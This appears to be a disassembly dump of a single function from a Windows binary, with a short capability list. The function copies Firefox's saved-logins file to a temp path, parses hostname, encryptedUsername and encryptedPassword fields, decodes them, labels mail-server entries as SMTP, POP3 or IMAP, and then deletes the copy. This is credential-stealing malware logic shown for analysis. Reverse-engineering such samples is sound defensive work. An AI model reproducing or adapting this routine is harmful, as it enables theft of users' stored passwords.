Function at 0x44be9c
Capabilities:
Copy file
Delete file
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7ba4
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x65c]
push edi
push eax
mov edi, 0x410
xor ebx, ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push eax
call fcn.0063d41d
call fcn.0063d3fc
push eax
lea eax, [ebp - 0x65c]
push eax
push str._sfirefox_tmp__d.bin
push edi
push eax
call fcn.00445d6d
add esp, 0x18
lea eax, [ebp - 0x65c]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
lea eax, [ebp - 0x65c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7ba4], eax
cmp eax, 0xffffffff
je 0x44c418
push ebx
push ebx
push ebx
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
mov dword [ebp - 0x7ba0], esi
test esi, esi
je 0x44c418
push ebx
push ebx
push ebx
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x7b98], eax
test eax, eax
jne 0x44bf72
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x44c41e
mov esi, str._nextId_:
lea edi, [ebp - 0x10]
lea eax, [ebp - 0x10]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._logins_:
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00631510
mov esi, dword [ebp - 0x7b98]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x44c3e5
lea eax, [ebp - 0x10]
push eax
call fcn.00631510
lea ecx, [ebp - 0x28]
add eax, esi
push ecx
push eax
mov dword [ebp - 0x7b90], eax
call fcn.00627320
add esp, 0xc
test eax, eax
je 0x44c3e5
mov esi, str._hostname_:
lea edi, [ebp - 0x1c]
push 5
pop ecx
push 5
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str._encryptedUsername_:
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
pop ecx
push 0x7b
push dword [ebp - 0x7b90]
movsb byte es:[edi], byte [esi]
mov esi, str._encryptedPassword_:
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x44c3dc
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
add esi, 2
push eax
push esi
call fcn.00627320
mov dword [ebp - 0x7b90], eax
pop ecx
pop ecx
test eax, eax
je 0x44c3c8
lea eax, [ebp - 0x1c]
push eax
call fcn.00631510
mov esi, eax
add esi, dword [ebp - 0x7b90]
push 0x2c
push esi
call fcn.006270b0
add esp, 0xc
mov dword [ebp - 0x7b90], eax
test eax, eax
je 0x44c3c8
sub eax, esi
mov ecx, 0x2328
sub eax, 2
cmp eax, ecx
cmova eax, ecx
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x2d6c]
push 0x2710
push eax
call fcn.00631360
mov esi, dword [ebp - 0x7b90]
lea eax, [ebp - 0x2d6c]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x2d6c]
push eax
call fcn.00631711
lea eax, [ebp - 0x2d6c]
push str.chrome:__firefoxaccounts
push eax
call fcn.00627320
add esp, 0x24
test eax, eax
jne 0x44c3c8
lea eax, [ebp - 0x40]
push eax
push esi
call fcn.00627320
mov dword [ebp - 0x7b90], eax
pop ecx
pop ecx
test eax, eax
je 0x44c3c8
lea eax, [ebp - 0x40]
push eax
call fcn.00631510
mov esi, eax
add esi, dword [ebp - 0x7b90]
push 0x2c
push esi
call fcn.006270b0
add esp, 0xc
mov dword [ebp - 0x7b90], eax
test eax, eax
je 0x44c3c8
sub eax, esi
sub eax, 2
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x7b8c]
push 0x2710
push eax
call fcn.00631360
mov eax, dword [ebp - 0x7b90]
lea ecx, [ebp - 0x58]
push ecx
push eax
mov esi, eax
call fcn.00627320
add esp, 0x18
mov dword [ebp - 0x7b90], eax
test eax, eax
je 0x44c3c8
lea eax, [ebp - 0x58]
push eax
call fcn.00631510
mov esi, eax
add esi, dword [ebp - 0x7b90]
push 0x2c
push esi
call fcn.006270b0
add esp, 0xc
mov dword [ebp - 0x7b90], eax
test eax, eax
je 0x44c3c8
sub eax, esi
sub eax, 2
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x547c]
push 0x2710
push eax
call fcn.00631360
mov esi, dword [ebp - 0x7b90]
lea eax, [ebp - 0x547c]
push eax
call fcn.00631510
lea eax, [ebp - 0x7b90]
mov dword [ebp - 0x7b90], ebx
push eax
lea eax, [ebp - 0x7b8c]
push eax
call fcn.0044b9fa
lea eax, [ebp - 0x7b94]
mov dword [ebp - 0x7b94], ebx
push eax
lea eax, [ebp - 0x547c]
push eax
call fcn.0044b9fa
add esp, 0x24
cmp eax, 1
jne 0x44c1e0
push dword [ebp - 0x7b94]
call fcn.00631510
pop ecx
cmp dword [ebp - 0x7b90], ebx
je 0x44c3c8
cmp dword [ebp - 0x7b94], ebx
je 0x44c3c8
push 0x1f3
lea eax, [ebp - 0x24b]
mov byte [ebp - 0x24c], bl
push ebx
push eax
call fcn.00626f50
add esp, 0xc
cmp edi, 0xfd
je 0x44c280
cmp edi, 0x104
je 0x44c280
cmp edi, 0x10b
je 0x44c280
cmp edi, 0x10e
je 0x44c280
cmp edi, 0x10f
je 0x44c280
push 0xffffffffffffffff
cmp edi, 0x74
jne 0x44c25e
mov eax, 0x66ae5d
push eax
push dword [ebp - 0x7b94]
push dword [ebp - 0x7b90]
push eax
push eax
push edi
push 3
jmp 0x44c3c0
mov ecx, 0x66ae5d
lea eax, [ebp - 0x2d6c]
push ecx
push dword [ebp - 0x7b94]
push dword [ebp - 0x7b90]
push eax
push ecx
push edi
push 1
jmp 0x44c3c0
lea eax, [ebp - 0x2d6c]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x2d6c]
push eax
call fcn.00631711
lea eax, [ebp - 0x2d6c]
push str.smtp:__
push eax
call fcn.00627320
add esp, 0x14
mov dword [ebp - 0x7b9c], eax
test eax, eax
je 0x44c2f8
push str.SMTP
lea eax, [ebp - 0x24c]
push 0x1f4
push eax
call fcn.006311ec
push str.smtp:__
call fcn.00631510
add eax, dword [ebp - 0x7b9c]
push eax
lea eax, [ebp - 0x2d6c]
push 0x2710
push eax
call fcn.006311ec
add esp, 0x1c
jmp 0x44c39c
lea eax, [ebp - 0x2d6c]
push str.mailbox:__
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x44c35b
lea eax, [ebp - 0x2d6c]
push str.pop.
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x44c35b
lea eax, [ebp - 0x2d6c]
push str.pop3.
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
jne 0x44c35b
lea eax, [ebp - 0x2d6c]
push str.imap
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x44c39c
push str.IMAP
jmp 0x44c360
push str.POP3
lea eax, [ebp - 0x24c]
push 0x1f4
push eax
call fcn.006311ec
lea eax, [ebp - 0x2d6c]
push 0x2f
push eax
call fcn.006271e0
add esp, 0x14
test eax, eax
je 0x44c39c
inc eax
push eax
lea eax, [ebp - 0x2d6c]
push 0x2710
push eax
call fcn.006311ec
add esp, 0xc
push 0xffffffffffffffff
push 0x66ae5d
push dword [ebp - 0x7b94]
lea eax, [ebp - 0x2d6c]
push dword [ebp - 0x7b90]
push eax
lea eax, [ebp - 0x24c]
push eax
push edi
push 2
call fcn.00412c85
add esp, 0x20
push 0x7b
push esi
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x44c019
mov esi, dword [ebp - 0x7b98]
xor ebx, ebx
inc ebx
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x7ba0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebp - 0x7ba4]
test eax, eax
je 0x44c407
push eax
call esi
lea eax, [ebp - 0x65c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
jmp 0x44c420
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret